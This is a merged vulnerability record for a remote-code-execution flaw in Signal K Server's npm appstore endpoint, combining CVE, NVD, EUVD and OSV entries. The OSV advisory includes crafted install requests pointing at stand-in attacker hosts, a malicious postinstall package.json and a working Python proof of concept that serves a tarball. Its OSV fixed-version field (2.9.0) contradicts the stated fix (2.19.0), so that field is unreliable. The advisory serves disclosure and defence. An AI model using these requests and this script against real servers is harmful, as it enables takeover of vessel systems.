{"id":"GHSA-93jc-vqqc-vvvh","revision":null,"records":[{"revision":"e1ef0f47e0e144cc9a228ef6bb4b509c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-68619","aliases":[],"title":"Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package","description":"Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the appstore interface allow administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution. The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script. Version 2.19.0 contains a patch for the issue.","state":0,"publishedAt":"2026-01-01T18:35:19.982+00:00","modifiedAt":"2026-01-02T19:00:44.776+00:00","affected":[{"ecosystem":"Vendor product","name":"signalk-server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SignalK\",\n                    \"product\": \"signalk-server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.19.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":7.3,"severity":"HIGH"}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-68619","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-68619","identifiers":["CVE-2025-68619"]},"retained":false,"historicalAffected":[]},{"revision":"c1e7b98f762d4555aea6b7f9fd77f21c","observedAt":"2026-11-11T04:35:50.165+00:00","statement":{"source":"euvd","id":"EUVD-2025-206137","aliases":["CVE-2025-68619","GHSA-93jc-vqqc-vvvh"],"title":"Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the appstore interface allow administrators to install npm packages through a REST API endpoint. While the endpoint validates that the…","description":"Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the appstore interface allow administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution. The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script. Version 2.19.0 contains a patch for the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":7.3,"severity":null}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-206137","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 1, 2026, 6:35:19 PM","dateUpdated":"Jan 2, 2026, 7:00:44 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-206137","identifiers":["EUVD-2025-206137","CVE-2025-68619","GHSA-93jc-vqqc-vvvh"]},"retained":false,"historicalAffected":[]},{"revision":"5b38bd3c86b44b44b8246cabdb22609c","observedAt":"2026-10-25T04:17:10.72+00:00","statement":{"source":"nvd","id":"CVE-2025-68619","aliases":[],"title":"Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the appstore interface allow administrators to install npm packages through a REST API endpoint. While the endpoint validates that the…","description":"Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the appstore interface allow administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution. The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script. Version 2.19.0 contains a patch for the issue.","state":0,"publishedAt":"2026-01-01T19:15:53.777+00:00","modifiedAt":"2026-10-07T11:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.3,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"severity":"HIGH"}],"references":["https://github.com/SignalK/signalk-server/releases/tag/v2.19.0","https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-68619","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*","cpe:2.3:a:signalk:signal_k_server:2.19.0:beta1:*:*:*:*:*:*","cpe:2.3:a:signalk:signal_k_server:2.19.0:beta2:*:*:*:*:*:*","cpe:2.3:a:signalk:signal_k_server:2.19.0:beta3:*:*:*:*:*:*","cpe:2.3:a:signalk:signal_k_server:2.19.0:beta4:*:*:*:*:*:*"],"sourceDates":{"published":"2026-01-01T19:15:53.777","lastModified":"2026-10-07T11:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-68619","identifiers":["CVE-2025-68619"]},"retained":false,"historicalAffected":[]},{"revision":"3ba9a671940844cc941d53c9b7fb3837","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-93jc-vqqc-vvvh","aliases":["CVE-2025-68619"],"title":"Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package","description":"The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution.\n\nThe vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script.\n\n### Affected Code\n\n**File**: `src/interfaces/appstore.js` (lines 46-76)\n\n```javascript\napp.post(\n  [\n    `${SERVERROUTESPREFIX}/appstore/install/:name/:version`,\n    `${SERVERROUTESPREFIX}/appstore/install/:org/:name/:version`\n  ],\n  (req, res) => {\n    let name = req.params.name\n    const version = req.params.version  // No validation on version format\n    \n    // ... validation only checks if package name exists ...\n    \n    installSKModule(name, version)  // Passes unsanitized version to npm\n  }\n)\n```\n\n**File**: `src/modules.ts` (lines 180-205)\n\n```typescript\nif (name) {\n  packageString = version ? `${name}@${version}` : name  // Direct concatenation\n}\n\nif (process.platform === 'win32') {\n  npm = spawn('cmd', ['/c', `npm --save ${command} ${packageString}`], opts)\n} else {\n  npm = spawn('npm', ['--save', command, packageString], opts)\n}\n```\n\n### Impact\n\nAn attacker with admin credentials (obtained via the authentication bypass chain) can execute arbitrary commands on the server with the privileges of the SignalK process. This enables complete system compromise including data theft, backdoor installation, lateral movement, and denial of service.\n\nA compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, affecting all connected devices. Attack scenarios include manipulating autopilot systems (Pypilot, Raymarine, Garmin) via the Autopilot API to alter vessel course, spoofing AIS messages to create phantom vessels on radar, altering GPS position data sent to chart plotters and autopilots, injecting false depth sounder readings, manipulating wind instrument data, or sending shutdown commands to electronically controlled engines via NMEA 2000. Many vessels expose SignalK to the internet for remote monitoring, making them globally accessible to attackers.\n\nThe vulnerability can be exploited using any of npm's flexible version specifier formats:\n\n**1. Real npm Package with Required Keyword**\n\n```http\nPOST /skServer/appstore/install/malicious-signalk-plugin/1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nPublishing a malicious package to the official npm registry with the `signalk-node-server-plugin` or `signalk-webapp` keyword allows us to install arbitrary npm packages using standard semantic versioning format (`1.0.0`). This is non-stealthy as the package is publicly visible, but can be leveraged to spread malware via npm's ecosystem, since such a package will show up on the webapp feed and other users might install it.\n\n**2. Real npm Package via npm Alias**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/npm:malicious-package@1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe `npm:` prefix allows installing a package under a different name. For example, `npm:malicious-package@1.0.0` installs `malicious-package` but references it as if it were the legitimate `signalk-pushover-plugin`. This obscures the actual package being installed from casual inspection, making it stealthier while still requiring npm publishing.\n\n**3. Package Hosted on GitHub (GitHub Shorthand)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/attacker%2Fmalicious-plugin HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe format `username/repo` (URL-encoded as `attacker%2Fmalicious-plugin`) is shorthand for `github:username/repo`. npm automatically fetches the repository from GitHub, extracts it, and runs `npm install`. If the repo contains a `postinstall` script, it executes. The repository must contain a valid `package.json` with the malicious script.\n\n**4. Package Hosted on Attacker-Controlled Git Server (git+ Protocol)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/git%2Bhttps:%2F%2Fattacker.com%2Fmalicious-plugin.git HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe `git+https://` or `git+ssh://` prefix tells npm to clone a git repository. This works with any git server, not just GitHub. The attacker has full control over the repository contents and can update it at any time. This provides maximum control over the package source without relying on third-party services.\n\n**5. Package Hosted on Attacker Webserver as Tarball**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/http:%2F%2Fattacker.com%2Fpkg.tgz HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe `http://` or `https://` URL pointing to a `.tgz` file tells npm to download and extract the tarball. This is the most flexible method as it requires no external service dependencies - the attacker controls both the package contents and the hosting infrastructure. No git repository or npm registry account needed.\n\nAll methods result in npm executing the `postinstall` script from the attacker-controlled package. A malicious npm package requires only two files to achieve RCE:\n\n**package.json** - Defines the package metadata and the malicious script:\n```json\n{\n  \"name\": \"signalk-evil-plugin\",\n  \"version\": \"1.0.0\",\n  \"keywords\": [\"signalk-node-server-plugin\"],\n  \"scripts\": {\n    \"postinstall\": \"node -e \\\"require('child_process').exec('calc.exe')\\\"\"\n  }\n}\n```\n\nThe `postinstall` script executes automatically after npm installs the package.\n\n**index.js** - Minimal plugin implementation to avoid errors:\n```javascript\nmodule.exports = function(app) {\n  return {\n    id: 'evil-plugin',\n    name: 'Evil Plugin',\n    start: function() {},\n    stop: function() {}\n  }\n}\n```\n\n### PoC using the tarball variant of the exploit\n\n```python\nimport requests\nimport tarfile\nimport json\nimport io\nimport threading\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom urllib.parse import quote\n\nTARGET = \"http://localhost:3000\"\nATTACKER_IP = \"localhost\"\nATTACKER_PORT = 9999\nRCE_COMMAND = \"calc.exe\"  # Windows; use \"id > /tmp/pwned\" for Linux\nTOKEN = \"<VALID_AUTH_TOKEN>\"\n\ndef create_malicious_tarball():\n    package_json = {\n        \"name\": \"signalk-evil-plugin\",\n        \"version\": \"1.0.0\",\n        \"keywords\": [\"signalk-node-server-plugin\"],\n        \"scripts\": {\n            \"postinstall\": f\"node -e \\\"require('child_process').exec('{RCE_COMMAND}')\\\"\"\n        }\n    }\n    \n    index_js = b\"module.exports = function(app) { return { id: 'evil', start: function(){}, stop: function(){} } }\"\n    \n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n        # Add package.json\n        pkg_data = json.dumps(package_json, indent=2).encode()\n        pkg_info = tarfile.TarInfo(name=\"package/package.json\")\n        pkg_info.size = len(pkg_data)\n        tar.addfile(pkg_info, io.BytesIO(pkg_data))\n        \n        # Add index.js\n        idx_info = tarfile.TarInfo(name=\"package/index.js\")\n        idx_info.size = len(index_js)\n        tar.addfile(idx_info, io.BytesIO(index_js))\n    \n    return tar_buffer.getvalue()\n\ndef start_malicious_server(tarball_data):\n    class Handler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            print(f\"[+] Victim fetched malicious package!\")\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/gzip\")\n            self.send_header(\"Content-Length\", len(tarball_data))\n            self.end_headers()\n            self.wfile.write(tarball_data)\n        \n        def log_message(self, *args):\n            pass\n    \n    server = HTTPServer((\"0.0.0.0\", ATTACKER_PORT), Handler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    print(f\"[+] Malicious server running on port {ATTACKER_PORT}\")\n    return server\n\ndef trigger_rce(token):\n    tarball_url = f\"http://{ATTACKER_IP}:{ATTACKER_PORT}/package.tgz\"\n    encoded_url = quote(tarball_url, safe='')\n    \n    url = f\"{TARGET}/skServer/appstore/install/signalk-pushover-plugin/{encoded_url}\"\n    \n    headers = {\"Authorization\": f\"Bearer {token}\"}\n    \n    print(f\"[*] Triggering installation from {tarball_url}\")\n    r = requests.post(url, headers=headers)\n    print(f\"[+] Response: {r.status_code} - {r.text}\")\n\nif __name__ == \"__main__\":\n    tarball = create_malicious_tarball()\n    print(f\"[+] Created malicious tarball ({len(tarball)} bytes)\")\n    \n    start_malicious_server(tarball)\n    trigger_rce(TOKEN)\n```\n\n### Recommendation\n\n1. Restrict package installation to the official npm registry only by validating that version parameters match semver format\n2. Use npm's `--ignore-scripts` flag to prevent automatic script execution\n3. Implement an allowlist of approved packages\n4. Consider sandboxing the package installation process\n\nWhile we understand that allowing 3rd party plugin installation is an intended functionality we believe that more secure practices must be applied to the whole process given the operational importance a SignalK instance can have onboard a vessel and it's rise in polularity.","state":0,"publishedAt":"2026-01-02T15:23:39+00:00","modifiedAt":"2026-02-03T03:16:41.524494+00:00","affected":[{"ecosystem":"npm","name":"signalk-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.9.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh","https://nvd.nist.gov/vuln/detail/CVE-2025-68619","https://github.com/SignalK/signalk-server/commit/f06140bed702de93a5dbb6b33dc2486960764d1d","https://github.com/SignalK/signalk-server","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://github.com/advisories/GHSA-93jc-vqqc-vvvh","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-93jc-vqqc-vvvh","identifiers":["GHSA-93jc-vqqc-vvvh","CVE-2025-68619"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9559105+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9559112+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-b82e898af539f446af94bfe3bb84083f5df4f022d00288cc9fbae0154a5061bb","complete":true,"records":424071,"lastAttemptAt":"2026-11-11T12:57:49.006525+00:00","lastSuccessAt":"2026-11-11T12:57:48.4566769+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.006525+00:00","snapshotPublishedAt":"2026-11-11T12:31:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8b9b122bc044428c96a4630c531c9378","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T13:12:16.0062956+00:00","lastSuccessAt":"2026-11-11T13:12:16.002+00:00","error":"10 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T13:12:16.002+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13496,"expectedIdentifiers":13813,"failedIdentifiers":10},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9567134+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9567135+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a879d9d6add14faf90d52773703368be","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T13:00:06.155482+00:00","lastSuccessAt":"2026-11-11T13:00:06.151+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:06.151+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T12:59:57.6350799+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.6350799+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T12:57:49.1672871+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.1672871+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T13:00:02.7256916+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.7256916+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-10cb353ca77c2a8069d6892d1d394d936b12c0add3c8749e2a1a03a1c5d50426","complete":true,"records":231666,"lastAttemptAt":"2026-11-11T12:59:57.5030871+00:00","lastSuccessAt":"2026-11-11T12:59:55.8981437+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.5030871+00:00","snapshotPublishedAt":"2026-11-11T12:32:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}